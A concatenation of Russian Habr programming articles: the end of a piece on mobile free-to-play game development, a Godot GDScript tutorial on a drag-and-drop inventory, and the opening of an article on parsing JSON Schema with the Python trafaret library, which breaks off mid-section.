Кроме того, существуют и другие не менее очевидные способы. Если ваш движок имеет развитые средства управления контентом, то вы можете сгенерировать контент низкого качества, уменьшив разрешение текстур. Картинка «замылится», но играть будет можно. Некоторые разработчики умышленно выкладывают версию игры в низком разрешении (это ведь уменьшает и размер дистрибутива кроме всего прочего), предлагая игроку докачать контент в высоком разрешении, если аппаратные возможности его устройства это позволяют, и даже предлагают за это внутриигровые награды.
Динамическая загрузка и выгрузка контента – еще один из вариантов преодоления проблемы. Понятно, что нагружая игровой цикл операциями по загрузке и выгрузке контента из памяти, мы неизбежно увеличиваем время кадра. Однако варианты есть, в частности использование загрузки ресурсов в отдельном потоке и отдельном контексте OpenGL ES с применением [EAGLSharegroup](https://developer.apple.com/library/ios/documentation/3DDrawing/Conceptual/OpenGLES_ProgrammingGuide/WorkingwithOpenGLESContexts/WorkingwithOpenGLESContexts.html).
Вопрос оптимизации использования оперативной памяти сильно зависит и от геймплея игры, и не исключены ситуации, в которых программист бессилен, и геймдизайнер вынужден упрощать игру. В условиях жесткой конкуренции на рынке мобильных free-to-play игр это может быть необходимым злом.
#### 4. Клиент-серверное взаимодействие
Неотъемлемой частью free-to-play модели является взаимодействие клиента игры с сервером. Можно долго обсуждать, на каких технологиях создавать сервера для free-to-play игр, как их сделать гибко конфигурируемыми, легко масштабируемыми и переносимыми. Можно сделать самый лучший сервер на свете, но если сетевое соединение слабое, то от сервера проку будет мало. А соединение (особенно через мобильные сети) слабое, постоянно прерывающееся и восстанавливающееся. Ваши игроки будут пытаться играть в метро, в лифте, в поезде, именно тогда, когда им хочется скрасить ожидание.
Организуя клиент-серверное взаимодействие, обязательно учитывайте возможные перебои со связью, внедряйте проверки на целостность команд и данных. А там, где речь заходит о покупке игровых объектов за реальные деньги, будьте особенно аккуратны.
Мобильные free-to-play игры по способу взаимодействия с сервером можно разделить на 2 условные категории: игры, которые не позволяют играть без интернет-соединения, и те, которые позволяют это делать. Игры, которые предоставляют какой-либо оффлайн геймплей, как правило, делать сложнее, вместе с тем такой подход может неплохо работать для удержания пользователей. Можно выделить следующие основные сложности при реализации оффлайн функционала в онлайн-игре:
* **Синхронизация прогресса**. Допустим, у вас разрешена игра оффлайн, и ваша игра издается на iOS и Android одновременно. По-хорошему, один и тот же игрок может играть с разных устройств и продолжать свой прогресс. Однако оффлайновый прогресс игрока на одном из устройств может быть потерян, когда вы перешли на другое. Но это не самое страшное, когда игрок снова запустит игру на первом устройстве, и игра отправит на сервер старый оффлайновый прогресс, возникнет коллизия. Для преодоления этой трудности необходимо будет использовать временные метки или иные механизмы.
* **«Читерство»**. Когда сервер перестает контролировать действия игрока и позволяет играть без своего участия, то это отличный шанс, чтобы получать незаслуженное игровое преимущество, проще говоря «читерить». Для этого на игровых серверах необходимо предусматривать системы защиты, которые способны обнаруживать нечестных игроков и лишать их незаслуженного преимущества, что само по себе не является тривиальной задачей.
* **Взаимодействие с другими игроками**. Допустим, в игре предусмотрена механика, когда один игрок может зайти в инвентарь другого и проапгрейдить его меч, получив за это награду. Игрок в оффлайне может сломать меч или, скажем, заменить меч луком, в то время как другой игрок получит устаревшие данные с сервера. Пример, возможно, несколько утрирован, но взаимодействия такого рода существуют и это надо учитывать.
Второй трудностью при организации клиент-серверного взаимодействия является потенциально большое время отклика. Если взаимодействие с сервером сделано синхронно, что в принципе является ошибкой, игра будет периодически висеть, пока не получит ответ с сервера. В то же время асинхронная работа с сервером накладывает дополнительные сложности на организацию кода игры. Одним из возможных вариантов решения проблемы может быть [отложенная обработка команд](http://habrahabr.ru/company/alawar/blog/176497/).
#### 5. Производительность
Пожалуй, самый очевидный пункт. Излишне говорить, что игра не должна тормозить ни на одном из устройств, для которых предназначена. Это справедливо не только для мобильной разработки, а для разработки игр в целом. Аппаратные возможности мобильных платформ, несмотря на значительный рост, все еще существенно уступают десктопным решениям.
Главные методы решения – профилирование и здравый смысл. Конкретные советы для мобильных платформ дать не могу, однако неплохо сработают и классические методики:
* Используйте предвыделение памяти и минимизируйте выделение памяти внутри игрового цикла;
* Используйте кэши для данных, которые трудоемко вычислять;
* Используйте двоичные форматы данных вместо текстовых, где это возможно;
* Не создавайте сложные иерархии классов и не используйте RTTI для них;
* Не копируйте объекты по значению;
* И самое главное — не надо заниматься «преждевременной оптимизацией»1.
#### Вместо заключения
Возможно, ~~почти всем~~ некоторым данная статья покажется во многом очевидной. Несмотря на это, хочется надеяться, что вы почерпнули из нее для себя что-то новое, или она подтолкнула вас к какой-то важной идее. Жду ваших комментариев, отзывов, вопросов, и спасибо, что дочитали до конца.
#### Примечания
[1] «Преждевременная оптимизация — корень всех (или большинства) проблем в программировании». Дональд Кнут (ориг. [«Premature optimization is the root of all evil (or at least most of it) in programming.»](http://www.paulgraham.com/knuth.html)) | https://habr.com/ru/post/192766/ | null | ru | null |
# Одной лишь мышкой
Всем привет, меня зовут Вячеслав и я программист, ну а конкретно сейчас я занимаюсь геймдевом на GodotEngine, и параллельно веду свой телеграмм канал, в котором пишу заметки по созданию своей игры на этом движке и подкидываю новичкам материал для изучения Годо.
А теперь перейдём к делу, а почему бы нам сделать простой инвентарь с Drag&Drop`ом и бонусом от меня?
Начнём. Я не дизайнер, поэтому будет функциональный вариант, задизайните потом сами.
Сначала создам проект и накидаю необходимые для работы ноды в минимальном варианте:
В контрол кидаем PanelContainer, его через кнопку Layout(Вид) растягиваем по всему контролу и сразу накидываем флаги на расширение по высоте и ширине:
Чилдом кидаем ГридКонтейнер(сетка), в неё мы уже будем кидать наши элементы, так же для удобства отладки добавим кнопку “поднятия” предмета, она будет генерировать рандомный элемент с рандомным кол-вом.
У нас будет 8 столбцов в инвентаре и 4 строчки, для необходимого разнообразия подготовил иконки итемов.
Скачаем с гугла шрифт и закинем его в контрол, чтобы мы могли менять размер шрифта:
Далее чуть стилизуем, чтобы это больше было похоже на инвентарь, создаём один слот, и сохраняем его в отдельный файл, т.к. мы его будем динамически создавать слоты:
Далее закидываем в главную сцену следующий скрипт
```
extends Control
export (int, 1, 20) var columns = 8
export (int, 1, 20) var rows = 4
onready var inv = $InvContainer/InvContent
const slot_scene = preload("res://Slot.tscn")
func _ready():
inv.columns = columns
for i in range(columns*rows):
var slot = slot_scene.instance()
inv.add_child(slot)
```
Промежуточный вариант примерно такой:
Открываем сцену слота, добавляем туда ещё одну панель, добавляем ей пустой стиль, в неё TextureRect для иконки и Label для кол-ва элементов:
Ставим для Иконки такие параметры, если кому интересно, напишите в комментариях, я подробнее расскажу про все параметры, которые использовал в статье:
Для текста похожие параметры:
В Slot создаём скрипт, и кидаем тестовый код
```
extends PanelContainer
onready var item = $Item
onready var icon = $Item/Icon
onready var count = $Item/Count
var item_type = null
var item_count = 0
func _ready():
update_data({"type": "item_type_1", "count": 0})
func update_data(data = null):
item.visible = data != null
if data:
icon.texture = load("res://graphics/%s.png" % data.type) #Динамическая загрузка иконки
count.text = str(data.count)
```
Получаем такую картину:
Теперь займёмся кнопкой очистки:
Изменяем главный скрипт
```
extends Control
export (int, 1, 20) var columns = 8
export (int, 1, 20) var rows = 4
onready var inv = $InvContainer/InvContent
const slot_scene = preload("res://Slot.tscn")
func _ready():
$InvContainer/HBoxContainer/Clear.connect("pressed", self, "clear_inventory")
inv.columns = columns
for i in range(columns*rows):
var slot = slot_scene.instance()
inv.add_child(slot)
func clear_inventory():
for child in inv.get_children(): #Пробегаем по чилдам инвентаря
child.update_data() #делаем апдейт без параметров
```
Очистка очень простая, коннектимся к сигналу кнопки и функцией из цикла с одной строчкой очищаем инвентарь.
Далее кнопка рандомного добавления.
Для начала в скрипт слота изменим так:
```
extends PanelContainer
onready var item = $Item
onready var icon = $Item/Icon
onready var count = $Item/Count
var item_data = null
func _ready():
update_data()
func empty():
return item_data == null
func update_data(data = null):
item.visible = data != null
item_data = data
if item:
icon.texture = load("res://graphics/%s.png" % item_data.type) #Динамическая загрузка иконки
count.text = str(item_data.count)
return true
```
Закидываем в главный скрипт новые функции:
```
func has_empty_slot(): #Метод проверки наличия хотя бы одной пустой ячеки
for child in inv.get_children(): #Пробегаем по чилдам инвентаря
if child.empty():
return true
return false
func get_empty_slot(): #Метод получения случайной пустой ячеки
var slot = null
if has_empty_slot():
#Обязательно нужно проверить, что у нас есть пустые ячейки
#Иначе при полном инвентаре будет бесконечный цикл при полном инвентаре и игра зависнет
while slot == null: #Ищем случайную пустую ячейку, пока не найдём
var temp_slot = inv.get_child(rng.randi_range(0, columns*rows-1))
if temp_slot.empty():
slot = temp_slot
break
return slot
func add_item(): #Слот добавления случайного предмета, который подключен к кнопке
var slot = get_empty_slot()
if slot:
var data = {"type":"", "count": 0}
data.type = "item_type_" + str(rng.randi_range(1, 8))
data.count = rng.randi_range(1, 999)
slot.update_data(data)
```
И не забудь подключить сигнал кнопки в методу “add\_item”, и всё заработает.
Следующим шагом реализация D&D(Drag&Drop).
Для начала, нужно создать отдельную сцену итема, т.к. нам нужен в двух местах.
Выглядит дерево примерно так:
Сразу создадим внутренний скрипт для итема, он простой, чисто устанавливает значение.
Скрипт итема
```
extends PanelContainer
onready var icon = $Icon
onready var count = $Count
const path_to_items_icons = "res://graphics/%s.png"
func set_data(item_data):
icon.texture = load(path_to_items_icons % item_data.type) #Динамическая загрузка иконки
count.text = str(item_data.count)
```
Далее приступаем к слоту:
Сюда мы закинули нашу сцену с итемом, плюс добавился лейбл “Num”, в нём лежит номер слота, я его использовал для отладки, вы можете просто скрыть его или удалить из сцены и из скрипта главной сцены. Кстати о главной сцене, в ней тоже произошли изменения:
Добавился как раз наш итем, координатно ни к чему не привязанный (без контейнеров), а зачем читайте дальше)
Теперь самое сложное, это скрипт главной сцены, там произошло куча изменений
```
extends Control
export (int, 1, 20) var columns = 8 #кол-во столбцов инвентаря
export (int, 1, 20) var rows = 4 #кол-во строчек инвентаря
const slot_scene = preload("res://Slot.tscn") #Подгружаем при компиляции сцену слота
onready var inv = $InvContainer/InvContent #Хранилище слотов
onready var titem = $TempItem #Это как раз наш временный итем, он нужен для отображения перетаскивания
onready var rng = RandomNumberGenerator.new() #Инициализация объекта класса рандомайзера
onready var item_dragging = null #Здесь хранится итем при перетаскивании
onready var prev_slot = null #Слот из которого мы перетаскиваем итем
func ready():
titem.visible = false #скрываем временный итем
rng.randomize() #запускаем рандомайзер
$InvContainer/HBoxContainer/Clear.connect("pressed", self, "clear_inventory")
$InvContainer/HBoxContainer/Add.connect("pressed", self, "add_item")
inv.columns = columns #ограничиваем кол-во слолбцов отображения
for i in range(columns*rows): #Цикл создания слотов
var slot = slot_scene.instance() #Создаём объект слота
slot.name = "Slot%d" % i #Задаём ему имя, в целом не обязательное действия, но для отладки удобно
slot.get_node("Num").text = str(i) #Как раз тот самый номер слота, если удаляете из сцены слота
текстовое поле, то эту строчку тоже нужно удалить
inv.add_child(slot) #Добавление слота в хранилище
func clear_inventory(): #Функция очистки хранилища
for child in inv.get_children(): #Пробегаем по чилдам инвентаря
child.update_data() #делаем апдейт без параметров
func has_empty_slot(): #Метод проверки наличия хотя бы одной пустой ячеки
for child in inv.get_children(): #Пробегаем по чилдам инвентаря
if child.empty():
return true
return false
func get_empty_slot(): #Метод получения случайной пустой ячеки
var slot = null
if has_empty_slot():
#Обязательно нужно проверить, что у нас есть пустые ячейки
#Иначе при полном инвентаре будет бесконечный цикл при полном инвентаре и игра зависнет
while slot == null: #Ищем случайную пустую ячейку, пока не найдём
var temp_slot = inv.get_child(rng.randi_range(0, columns*rows-1))
if temp_slot.empty():
slot = temp_slot
break
return slot
func add_item(): #Слот добавления случайного предмета, который подключен к кнопке
var slot = get_empty_slot()
if slot:
var data = {"type":"", "count": 0}
data.type = "item_type_" + str(rng.randi_range(1, 8))
data.count = rng.randi_range(1, 999)
slot.update_data(data)
func find_slot(pos:Vector2, need_data = false): #Метод поиска слота по координатам
#второй параметр - необязательный, он говорит функции искать в позиции слот с итемом или нет
for c in inv.get_children(): #Пробегаем по чилдам инвентаря
if (need_data and not c.empty()) or (not need_data):
if Rect2(c.rect_position, c.rect_size).has_point(pos):
#Создаём прямоугольник из координат слота и его размеров, чтобы
#легко одним методом проверить находится ли точка в этом прямоугольнике
return c
return null
func _process(delta):
var mouse_pos = get_viewport().get_mouse_position() #Получаем позицию мышки
if Input.get_mouse_button_mask() == BUTTON_LEFT: #Проверяем нажата ли левая кнопка мыши
if not item_dragging: #если мы уже не тащим элемент
var slot = find_slot(mouse_pos, true)#ищем под курсором слот с итемом
if slot: #если слот найден
item_dragging = slot.item_data #сохраняем в хранилище данные итема
titem.set_data(item_dragging) #во временнный итем пихаем данные
titem.visible = true #показываем временный итем
titem.rect_position = slot.rect_position #перемещаем временный итем в координаты слота
prev_slot = slot #сохраняем слот из которого будем тащить итем
slot.update_data() #очищаем слот из которого тащим
else: #если мы уже тащим итем, то перемещаем временный итем под курсор, со смещением от половины размера итема(чтобы центр итема был под курсором)
titem.rect_position = lerp(titem.rect_position, mouse_pos - titem.rect_size/2, 0.3)
else: #если кнопка отпущена
if item_dragging: #если у нас в хранилище есть итем
var slot = find_slot(mouse_pos, false) #Ищет слот под курсором
if slot: #если он есть, то пытаемся закинуть в слот данные
if not slot.update_data(item_dragging): #если не получилось, то возвращаем итем обратно
prev_slot.update_data(item_dragging)
prev_slot = null #очищаем ссылку на старый слот
item_dragging = null #сбрасываем хранилище итема
titem.visible = false #скрываем временный итем
```
Я постарался и прокомментировал практически каждую строчку
Чтобы нам ещё хотелось ? Я бы сделал обмен между слотами, мусорку и в конце будет ещё бонус)
Для начала дополним и чуть изменим скрипт слота
```
func check_data(data):
return "all" in available_types or data.type in available_types
func update_data(data = null):
item.visible = data != null
item_data = data
if item_data:
if check_data(data):
item.set_data(item_data)
return true
return false
return true
```
Теперь главный скрипт, в нём нужно поменять лишь функцию \_process:
\_process
```
func _process(delta):
var mouse_pos = get_viewport().get_mouse_position() #Получаем позицию мышки
if Input.get_mouse_button_mask() == BUTTON_LEFT: #Проверяем нажата ли левая кнопка мыши
if not item_dragging: #если мы уже не тащим элемент
var slot = find_slot(mouse_pos, true)#ищем под курсором слот с итемом
if slot: #если слот найден
item_dragging = slot.item_data #сохраняем в хранилище данные итема
titem.set_data(item_dragging) #во временнный итем пихаем данные
titem.visible = true #показываем временный итем
titem.rect_position = slot.rect_position #перемещаем временный итем в координаты слота
prev_slot = slot #сохраняем слот из которого будем тащить итем
slot.update_data() #очищаем слот из которого тащим
else: #если мы уже тащим итем, то перемещаем временный итем под курсор, со смещением от половины размера итема(чтобы центр итема был под курсором)
titem.rect_position = lerp(titem.rect_position, mouse_pos - titem.rect_size/2, 0.3)
else: #если кнопка отпущена
if item_dragging: #если у нас в хранилище есть итем
var slot = find_slot(mouse_pos) #Ищет слот под курсором
#Вариант №1
#if slot: #если он есть, то пытаемся закинуть в слот данные
#if slot.empty(): #если в слот пустой
#if slot.check_data(item_dragging): #подходит ли данные к слоту, то обновляем данные
#slot.update_data(item_dragging)
#else: #если нет, то возвращаем итем обратно
#prev_slot.update_data(item_dragging)
#else: #если слот не пустой, то проверяем подходят ли данные для обмена, если подходят меняем местами
#if slot.check_data(item_dragging) and prev_slot.check_data(slot.item_data):
#prev_slot.update_data(slot.item_data)
#slot.update_data(item_dragging)
#else: #если нет, то возвращаем обратно
#prev_slot.update_data(item_dragging)
#Вариант №2
if slot: #если слот найден
if slot.check_data(item_dragging): #сразу проверям подходит ли к новому слоту данные, тобишь имеет ли смысл делать проверки дальше
if slot.empty(): #если в слот пустой
slot.update_data(item_dragging)
else: #если слот не пустой, то проверяем подходят ли данные найденного слота для предыдущего
if prev_slot.check_data(slot.item_data): #если подходит, то обновляем
prev_slot.update_data(slot.item_data)
slot.update_data(item_dragging)
else:
prev_slot.update_data(item_dragging)
prev_slot = null #очищаем ссылку на старый слот
item_dragging = null #сбрасываем хранилище итема
titem.visible = false #скрываем временный итем
```
Думаю дополнительное объяснение излишне, единственное хотел бы пояснить зачем два варианта блока условий, оба выполняют одну и ту же задачу, работают одинаково верно, но оцените читаемость первого и второго, сначала мой на скорую руку был набросан первый вариант, задачу выполнял, но читаемость были никакая, написал я его вчера, а сегодня, когда дописывал статью не смог сразу понять чё там происходит, так же и в реальном продакшен коде, зачастую попадаются именно такие куски кода, где без 100 грамм не разберёшься, поэтому бесплатный совет, пишите так, чтобы ваш код понял даже медведь, не говоря уже о возможном психопате после вас, который знает ваш адрес)
Это был обмен, теперь мусорка, я решил сделать у слота специальный мета-тип, который будет определять алгоритм работы слота, если бы в годо было адекватное объектно- ориентированное программирование, тогда бы можно было просто наследоваться от класса слота и переопределить методы принятия данных и проверки данных, но нам придётся лепить условия.
Скрипт слота
```
extends PanelContainer
signal dropped(data)
export (Array) var available_types = ["all"]
#массив для ограничения доступности типов предметов для этой ячейки
enum Actions {NONE, TRASH} #Перечисление с допустимиы действиями слота
var cur_act = Actions.NONE #установка переменной действия слота в стандартное положение
onready var item = $Item
var item_data = null #Здесь будет словарь с данными предмета
func _ready():
update_data()
func set_action(new_value):
cur_act = new_value
$Item.visible = false
$Trash.visible = false
match cur_act:
Actions.NONE:
$Item.visible = true
Actions.TRASH:
$Trash.visible = true
func empty():
return item_data == null
func check_data(data):
if cur_act:
return true
return "all" in available_types or data.type in available_types
func update_data(data = null):
if data and cur_act:
emit_signal("dropped", data)
return true
item.visible = data != null
item_data = data
if item_data:
if check_data(data):
item.set_data(item_data)
return true
return false
return true
```
Главный скрипт
```
func ready():
titem.visible = false #скрываем временный итем
rng.randomize() #запускаем рандомайзер
$InvContainer/HBoxContainer/Clear.connect("pressed", self, "clear_inventory")
$InvContainer/HBoxContainer/Add.connect("pressed", self, "add_item")
inv.columns = columns #ограничиваем кол-во слолбцов отображения
for i in range(columns*rows): #Цикл создания слотов
var slot = slot_scene.instance() #Создаём объект слота
slot.name = "Slot%d" % i #Задаём ему имя, в целом не обязательное действия, но для отладки удобно
slot.get_node("Num").text = str(i) #Как раз тот самый номер слота, если удаляете из сцены слота текстовое поле, то эту строчку тоже нужно удалить
slot.set_action(slot.Actions.NONE)
if i == columns*rows-1:
slot.set_action(slot.Actions.TRASH)
slot.connect("dropped", self, "trash_dropped")
inv.add_child(slot) #Добавление слота в хранилище
func trash_dropped(data):
print("dropped ", data)
```
Мы изменили цикл создания слотов в \_ready, плюс добавили новую функцию дропа итема, на случай если вы захотите сделать в игре выброс предмета в мир.
Ну а теперь бонус, сделаем полноценный инвентарь игрока.
Добавляем доп панель для инвентаря и накидываем ещё слотов:
Helmet и другие это тоже слоты, как и те, которые мы генерируем.
В скрипте слота нужно чутка дополнить
```
extends PanelContainer
signal dropped(path, data) #Сигнал помещения итема в корзину
signal accepted(path, data) #Сигнал помещения итема в слот
export (Array) var available_types = ["all"]
#массив для ограничения доступности типов предметов для этой ячейки
enum ACTIONS {TRASH, NONE = -1} #Перечисление с допустимыми действиями слота
export (ACTIONS) var current_action = ACTIONS.NONE
onready var item = $Item
var item_data = null #Здесь будет словарь с данными предмета
func _ready():
set_action(ACTIONS.NONE)
update_data()
add_to_group("Slots")
func set_action(new_value):
current_action = new_value
$Item.visible = false
$Trash.visible = false
$Num.visible = false
match current_action:
ACTIONS.NONE:
$Item.visible = true
$Num.visible = true
ACTIONS.TRASH:
$Trash.visible = true
func empty():
return item_data == null
func check_data(data):
if current_action == ACTIONS.TRASH:
return true
return "all" in available_types or data.type in available_types
func update_data(data = null):
if data and current_action == ACTIONS.TRASH:
emit_signal("dropped", get_path(), data)
return true
item.visible = data != null
item_data = data
if item_data:
if check_data(data):
item.set_data(item_data)
emit_signal("accepted", get_path(), data)
return true
return false
return true
```
Ну и теперь самое главное:
Скрипт главной сцены
```
extends Control
export (int, 1, 20) var columns = 8 #кол-во столбцов инвентаря
export (int, 1, 20) var rows = 4 #кол-во строчек инвентаря
const slot_scene = preload("res://scenes/Slot.tscn") #Подгружаем при компиляции сцену слота
onready var inv = $PlayerInv/Inv/InvContent
onready var item_dragged_view = $DraggedItem
onready var clearButton = $PlayerInv/Inv/Button/Clear
onready var addButton = $PlayerInv/Inv/Button/Add
onready var rng = RandomNumberGenerator.new() #Инициализация объекта класса рандомайзера
onready var item_dragged = null #Здесь хранится итем при перетаскивании
onready var slot_dragged = null #Слот из которого мы перетаскиваем итем
func _ready():
item_dragged_view.visible = false #скрываем временный итем
rng.randomize() #запускаем рандомайзер
clearButton.connect("pressed", self, "clear_inventory")
addButton.connect("pressed", self, "add_item")
inv.columns = columns #ограничиваем кол-во слолбцов отображения
for i in range(columns*rows): #Цикл создания слотов
var slot = slot_scene.instance() #Создаём объект слота
slot.name = "Slot_%d" % i #Задаём ему имя, в целом не обязательное действия, но для отладки удобно
slot.get_node("Num").text = str(i) #Как раз тот самый номер слота, если удаляете из сцены слота
# текстовое поле, то эту строчку тоже нужно удалить
inv.add_child(slot) #Добавление слота в хранилище
if i == columns*rows-1:
slot.set_action(slot.ACTIONS.TRASH)
for slot in get_tree().get_nodes_in_group("Slots"):
slot.connect("accepted", self, "slot_accepted")
slot.connect("dropped", self, "trash_dropped")
func slot_accepted(path, data):
print("accepted ", path, " ", data)
func trash_dropped(path, data):
print("dropped ", path, " ", data)
func clear_inventory(): #Функция очистки хранилища
get_tree().call_group("Slots", "update_data")
func has_empty_slot(): #Метод проверки наличия хотя бы одной пустой ячеки
for slot in get_tree().get_nodes_in_group("Slots"): #Пробегаем по всем слотам доступным
if slot.empty() and slot.current_action != slot.ACTIONS.TRASH:
return true
return false
func get_empty_slot(): #Метод получения случайной пустой ячеки
var rand_slot = null
if has_empty_slot():
var empty_slots = [] #Массив пустых слотов
for slot in get_tree().get_nodes_in_group("Slots"): #Перебираем все слоты и ищем пустые и слоты с недопустимыми экшенами
if slot.empty() and slot.current_action != slot.ACTIONS.TRASH:
empty_slots.push_back(slot)
rand_slot = empty_slots[(rng.randi_range(0, empty_slots.size()-1))] #выбираем случайный слот из пустых
return rand_slot
func add_item(): #Слот добавления случайного предмета, который подключен к кнопке
var slot = get_empty_slot()
if slot:
var data = {"type":"", "count": 0}
data.type = "item_type_" + str(rng.randi_range(1, 8))
data.count = rng.randi_range(1, 999)
slot.update_data(data)
func find_slot(pos:Vector2, need_data = false): #Метод поиска слота по координатам
#второй параметр - необязательный, он говорит функции искать в позиции слот с итемом или нет
for c in get_tree().get_nodes_in_group("Slots"): #Пробегаем по чилдам инвентаря
if (need_data and not c.empty()) or (not need_data):
if c.get_global_rect().has_point(pos):
#Создаём прямоугольник из координат слота и его размеров, чтобы
#легко одним методом проверить находится ли точка в этом прямоугольнике
return c
return null
func _process(delta):
if Input.get_mouse_button_mask() == BUTTON_LEFT: #Проверяем нажата ли левая кнопка мыши
if not item_dragged:
_start_drag()
else:
_update_drag()
else: #если кнопка отпущена
if item_dragged:
_stop_drag()
func _start_drag():
var mouse_pos = get_viewport().get_mouse_position()
var slot = find_slot(mouse_pos, true)#ищем под курсором слот с итемом
if slot: #если слот найден
item_dragged = slot.item_data #сохраняем в хранилище данные итема
item_dragged_view.set_data(item_dragged) #во временнный итем пихаем данные
item_dragged_view.visible = true #показываем временный итем
item_dragged_view.rect_position = slot.get_global_rect().position #перемещаем временный итем в координаты слота
slot_dragged = slot #сохраняем слот из которого будем тащить итем
slot.update_data() #очищаем слот из которого тащим
func _update_drag():
var mouse_pos = get_viewport().get_mouse_position()
#перемещаем временный итем под курсор, со смещением от половины размера итема(чтобы центр итема был под курсором)
item_dragged_view.rect_position = lerp(item_dragged_view.rect_position, mouse_pos - item_dragged_view.rect_size/2, 0.3)
func _stop_drag():
var mouse_pos = get_viewport().get_mouse_position()
var slot = find_slot(mouse_pos) #Ищет слот под курсором
if slot: #если слот найден
if slot.check_data(item_dragged): #сразу проверям подходит ли к новому слоту данные, тобишь имеет ли смысл делать проверки дальше
if slot.empty(): #если в слот пустой
slot.update_data(item_dragged)
else: #если слот не пустой, то проверяем подходят ли данные найденного слота для предыдущего
if slot_dragged.check_data(slot.item_data): #если подходит, то обновляем
slot_dragged.update_data(slot.item_data)
slot.update_data(item_dragged)
else:
slot_dragged.update_data(item_dragged)
slot_dragged = null #очищаем ссылку на старый слот
item_dragged = null #сбрасываем хранилище итема
item_dragged_view.visible = false #скрываем временный итем
```
[Полный листинг в моём гитхаб репозитории](https://github.com/holyslav/InventoryGodot)
UPD: Подправил функцию `get_empty_slot` в последнем листинге, чтобы убрать возможность попадания в бесконечный цикл. в гите так же обновлено.
UPD #2: Сделал небольшой рефакторинг. Плюс отказался от массива слотов, перенёс всё в Группы сцен Годо.
Также в моём телеграмм канале вы можете ознакомится с предыдущими статьями, и первыми прочитать следующие - <https://t.me/holydevlog> | https://habr.com/ru/post/555858/ | null | ru | null |
# Trafaret как парсер. Реализация JSON Schema
Intro
=====
Есть такой шаг в развитии языка, когда его компилятор написан на нем же.
Чтобы доказать крутость библиотеки trafaret я тоже решил сделать что-то такое же
рекурсивненькое, где надо идти глубже.
Напишем на трафарете парсер Json Schema, который на выходе вернет
готовый трафарет для проверки документов в соответствии с данным описанием.
То есть некий объект типа Trafaret, если ему скормить корректный документ json schema
на выходе вернет объект типа Trafaret, которому можно кормить документы
соответствующие описанию.
Как вообще такое сделать библиотекой валидации? Ну библиотекой валидации никак, а вот универсальным трансформером запросто. Trafaret это парсер данных, точнее комбинаторный парсер. Только те парсеры про которые вы наслышаны такие как parsec и funcparserlib парсят строки, а Trafaret парсит все что под руку подвернется, и на что у автора талантов хватит закодировать.
Json Schema описывается как водится пачкой документов из которых самый близкий народу пожалуй этот — <http://json-schema.org/latest/json-schema-validation.html>
Тут описание множества ключевых слов с помощью которых вы можете описать критерии корректности документа, а вот замечательный и зубодробительный в реализации $ref всего в одном месте вскользь.
Часть первая
============
У json схемы в базовом варианте достаточно простая реализация — все ключевые слова, такие как `maximum` (максимальное значение для числа), `pattern` (регулярка по которой следует проверить строку), `items` (дочерная схема или массив схем для проверки элементов массива).
Так вот, все эти ключевые слова следует применять по отдельности. Встретили maximum, тут же проверим это число на соответствие верхней границе. То есть можно взять схему, например такую:
```
{
"type": "number",
"maximum": 45,
}
```
и разобрать её на составляющие, просто список проверок все из которых должны пройти.
```
validations = []
for key, value in schema:
if key == 'type':
if value == 'number':
validations.append(is_a_number)
```
Ад какой, а еще схему бы проверить бы. Пожалуй закончим с наколенными примерами, начнем писать парсер. Json Schema это словарь, объект, мапа, короче ключи и значения в кудрявых скобках `{}`. Значит проверять будем словарь, попробуем:
```
import trafaret as t # стандартный паттерн чтобы словом trafaret весь код не завалить
json_schema_type = t.Enum('null', 'boolean', 'object', 'array', 'number', 'integer', 'string')
json_schema_keys = t.Dict(
t.Key('type', optional=True, trafaret=json_schema_type),
t.Key('maximum', optional=True, trafaret=t.Int()),
)
```
Мы взяли только пару ключевых слов чтобы не утомлять читателя прокруткой. Валидация сработает, но нам надо в итоге не только проверить схему, но и получить валидаторы. А это как раз то, что trafaret в отличие от многих делает на раз два, но придется немного подумать.
Есть операция `&`, берет два трафарета и применяет второй к выходу первого если не было
ошибок валидации, то есть типа так:
```
check_password = (
t.String() & (lambda value: value if value == 'secret' else t.DataError('Wrong password'))
)
```
Если на вход передать не строку `check_password(123)`, то на выходе мы сразу получим сообщение о том, что значение не строка и проверять на соотвествие строке 'secret' не будем.
Чтобы проверять любые значения python на равенство в трафарете есть Atom.
И можно было бы типы описать вроде как:
```
json_schema_type = (
t.Atom('null') & t.Null()
| t.Atom('boolean') & t.Bool()
)
```
Но это немного не то, чего мы хотим. Мы хотим вернуть трафарет и не применить его тут же
с заведомо ошибочным вариантом — строка 'null' точно не None.
Напишем хелпер, который тоже трафарет, и возвращает заданный трафарет:
```
def just(trafaret):
"""Returns trafaret and ignoring values"""
def create(value):
return trafaret
return create
```
И применим:
```
json_schema_type = (
t.Atom('null') & just(t.Null())
| t.Atom('boolean') & just(t.Bool())
| t.Atom('object') & just(t.Type(dict))
| t.Atom('array') & just(t.Type(list))
| t.Atom('number') & just(t.Float())
| t.Atom('integer') & just(t.Int())
| t.Atom('string') & just(t.String())
)
```
Теперь вызов `json_schema_type('null')` вернет нам экземпляр `t.Null()`. Парсер стал порождать
итоговый результат.
Первый уровень сложности пройден, мы реализовали `type`. С радостью тем же образом делаем `enum`, `const`, `multipleOf`, `maximum` etc.
Переходим ко второму уровню сложности
=====================================
Практически все ключевики в json схеме независимы, но часть все таки зависит друг от друга. Это ключевые слова для массивов и объектов. `additionalItems` это дочерняя схема для проверки элементов массива, которые не описаны в `items`. То есть например `"items": [{"type":"string"}, {"type":"bool"}]` проверит первые два элемента, а вот если в проверяемом документе их окажется 3 и более, то проверять их следует уже через `additionalItems`, если они заданы, или же
это уже ошибка само по себе.
Второй случай — `additionalProperties`. Для проверки объектов в json схема используются `properties` и `patternProperties`, а для всего что не описано в первых двух применяется `additionalProperties`.
Это в принципе давно решеная тема в трафаретостроении, используются особые ключи, но трафаретостроением заняты еще не 100% населения, так что остановимся чуть подробнее.
Чтобы проверять словари в трафарете использован не совсем стандартный подход. По сути
проверкой словарей в трафарете занимаются как раз ключи, в частности `Key`, а сам `Dict`
это обвязка вокруг которая собирает результаты исполнения всех ключей на данном объекте.
Тип ключа в терминах mypy выглядит так:
```
KeyT = Callable[ # некая функция или класс с __call__
[Mapping], # принимает один аргумент с интерфейсом Mapping (т.е. dict подходит)
Sequence[ # возвращает последовательность, то есть ключи на деле генераторы
Tuple[ # а каждый элемент последовательности это кортеж из трех элементов
str, # имя ключа которое надо включить в итоговый объект – может и не быть исходным если будет переименование
Union[Any, t.DataError], # тут или какое-то значение или ошибка трафарета DataError
Sequence[str] # ключ козвращает имена всех ключей которые он дергал в процессе своей работы
]
]
]
```
